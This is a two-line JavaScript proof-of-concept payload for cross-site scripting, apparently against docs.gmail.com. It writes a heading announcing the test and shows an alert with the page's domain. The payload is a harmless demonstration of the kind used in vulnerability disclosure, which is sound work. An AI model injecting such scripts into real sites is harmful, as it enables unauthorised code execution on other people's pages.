document.write('<h1>XSS docs.gmail.com POC</h1>');
alert(document.domain);